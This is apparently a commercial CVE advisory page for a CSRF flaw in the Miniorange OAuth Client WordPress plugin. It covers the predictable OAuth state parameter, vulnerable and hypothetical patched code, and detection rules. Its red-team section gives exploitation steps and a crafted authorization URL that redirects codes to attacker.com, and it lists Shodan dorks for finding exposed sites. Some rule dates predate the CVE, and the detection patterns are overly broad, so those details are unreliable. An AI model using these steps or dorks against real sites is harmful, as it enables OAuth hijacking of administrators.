☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Miniorange logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10752

CVE-2025-10752 Cross-Site Request Forgery in Miniorange
📅 PUBLISHED: 2025-09-26 01:47 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: India License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10752 is a Cross-Site Request Forgery (CSRF) vulnerability in the Miniorange OAuth Single Sign On – SSO (OAuth Client) plugin for WordPress, affecting all versions up to and including 6.26.12. The vulnerability stems from the use of a predictable state parameter in the OAuth authorization flow, which is a base64-encoded application name without any cryptographic randomness. This allows an unauthenticated attacker to forge OAuth authorization requests and potentially hijack the OAuth flow, provided they can trick a site administrator into clicking a malicious link.

The vulnerability is classified as a WordPress ecosystem issue and does not involve Apache or Nginx. The plugin is widely used for integrating OAuth-based single sign-on (SSO) into WordPress sites, making this a significant supply chain risk for organizations relying on this plugin for authentication.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using the Miniorange OAuth Client plugin is potentially exposed. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component in the WordPress ecosystem. Organizations should audit their WordPress installations for this plugin and apply any available patches or mitigations immediately.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (admin click)
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for OAuth flow hijacking could lead to unauthorized access to user accounts or data, depending on the OAuth provider and scopes configured.

Deep Dive & Mechanics

The vulnerability lies in the OAuth authorization request generation within the Miniorange OAuth Client plugin. During the OAuth flow, the plugin generates a state parameter to prevent CSRF attacks. However, the implementation uses a predictable value: a base64-encoded version of the OAuth application name (e.g., base64_encode("MyAppName")). This value is static for a given application configuration and does not include any random nonce or timestamp.

An attacker can:

  1. Identify the OAuth application name (e.g., via directory enumeration or plugin configuration leaks).
  2. Compute the predictable state value.
  3. Craft a malicious link that initiates an OAuth authorization request with the attacker's own OAuth client credentials and the forged state.
  4. Trick a site administrator into clicking the link, which triggers the OAuth flow.
  5. The plugin, upon receiving the response, validates the state parameter against the predictable value, allowing the attacker to hijack the OAuth flow and potentially link the administrator's account to the attacker's OAuth provider.

The attack does not require authentication, but it does require user interaction (the admin clicking a link). The impact is limited to integrity (modification of OAuth associations) but could be escalated if the OAuth provider grants broad scopes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.26.12): The vulnerable code is typically found in the plugin's OAuth client class, where the state parameter is generated. A simplified example:

// Vulnerable: state is base64 of app name
$state = base64_encode($app_name);
$authorization_url = "https://oauth.provider.com/auth?response_type=code&client_id=$client_id&redirect_uri=$redirect_uri&state=$state";

Patched Code (Hypothetical): A patched version would include a random nonce or token in the state parameter, stored in a session or transient for validation:

// Patched: state includes random nonce
$nonce = wp_generate_password(32, false);
set_transient('oauth_state_' . $nonce, $app_name, 300);
$state = base64_encode($app_name . '|' . $nonce);
$authorization_url = "https://oauth.provider.com/auth?response_type=code&client_id=$client_id&redirect_uri=$redirect_uri&state=$state";

The patched version ensures that the state is unpredictable and tied to a specific session, preventing CSRF attacks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the Miniorange OAuth Client plugin (<= 6.26.12) installed and configured with an OAuth provider.
  • Knowledge of the OAuth application name (e.g., "MyApp").

Exploitation Steps:

  1. Identify the OAuth application name. This can be done by inspecting the plugin's settings page (if accessible) or by analyzing the OAuth flow in the browser's developer tools.
  2. Compute the predictable state value:
    echo -n "MyApp" | base64
    # Output: TXlBcHA=
    
  3. Craft a malicious OAuth authorization URL using the attacker's own OAuth client credentials (client_id, redirect_uri) and the forged state:
    https://oauth.provider.com/auth?response_type=code&client_id=attacker_client_id&redirect_uri=https://attacker.com/callback&state=TXlBcHA=
    
  4. Send the link to a site administrator (e.g., via email or social engineering).
  5. When the admin clicks the link and authorizes the OAuth app, the attacker's callback receives the authorization code.
  6. The attacker exchanges the code for tokens and potentially links the admin's account to the attacker's OAuth provider.

Note: No public exploit code is available from Exploit-DB at this time.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual OAuth authorization requests with predictable state parameters (e.g., base64-encoded strings that match known application names).
  • Alert on multiple failed OAuth attempts from the same IP or user agent.
  • Use the detection rules provided in the Detection Engineering section.

Defense:

  • Immediately update the plugin if a patched version becomes available.
  • If no patch is available, consider disabling the plugin or implementing a Web Application Firewall (WAF) rule to block requests with suspicious state parameters.
  • Educate administrators about phishing attacks that trick them into clicking OAuth authorization links.
  • Implement additional CSRF protections at the WordPress level (e.g., nonce checks).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • OAuth authorization requests containing a state parameter that is a base64-encoded string matching a known application name (e.g., state=TXlBcHA=).
    • Callback requests to attacker-controlled domains (e.g., https://attacker.com/callback?code=...).
  • File IOCs:
    • Presence of the Miniorange OAuth Client plugin version <= 6.26.12 in /wp-content/plugins/miniorange-oauth-client/.
  • Log IOCs:
    • WordPress debug logs showing unexpected OAuth flow errors or state mismatches.
    • Web server logs showing requests to OAuth provider URLs with unusual state parameters.

Detection Engineering

YARA Rule

rule Detect_Miniorange_OAuth_CSRF_State {
    meta:
        description = "Detects predictable state parameter in Miniorange OAuth Client plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-10752"
    strings:
        $state_param = /state=[A-Za-z0-9+\/=]{1,100}/ nocase
        $plugin_path = "miniorange-oauth-client"
    condition:
        $plugin_path and #state_param > 0
}

Sigma Rule

title: Miniorange OAuth Client CSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-10752 by using predictable state parameters in OAuth flows.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'state='
        cs-uri-query|re: 'state=[A-Za-z0-9+\/=]{1,100}'
    condition: selection
falsepositives:
    - Legitimate OAuth flows with base64-encoded state (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10752 Miniorange OAuth Client CSRF Exploitation"; flow:to_server; content:"GET"; http_method; content:"state="; http_uri; pcre:"/state=[A-Za-z0-9+\/=]{1,100}/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin: If a patched version is released, update to the latest version immediately.
  2. Disable the plugin: If no patch is available, disable the Miniorange OAuth Client plugin until a fix is applied.
  3. Implement WAF rules: Use the Suricata rule above or create custom WAF rules to block requests with suspicious state parameters.

Long-term Mitigations:

  • Enforce the use of random nonces in all OAuth flows.
  • Conduct a security audit of all WordPress plugins for similar CSRF vulnerabilities.
  • Implement Content Security Policy (CSP) headers to reduce the impact of social engineering attacks.
  • Educate users and administrators about phishing and social engineering risks.

Patch Status: UNKNOWN / UNPATCHED. Monitor the plugin's official page for updates.


Valters IT
Securing Digital Ecosystems

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/miniorange-oauth-client"
http.html:"miniorange-oauth-client"
http.title:"OAuth Single Sign On"
http.html:"oauth_client" "miniorange"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10752/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.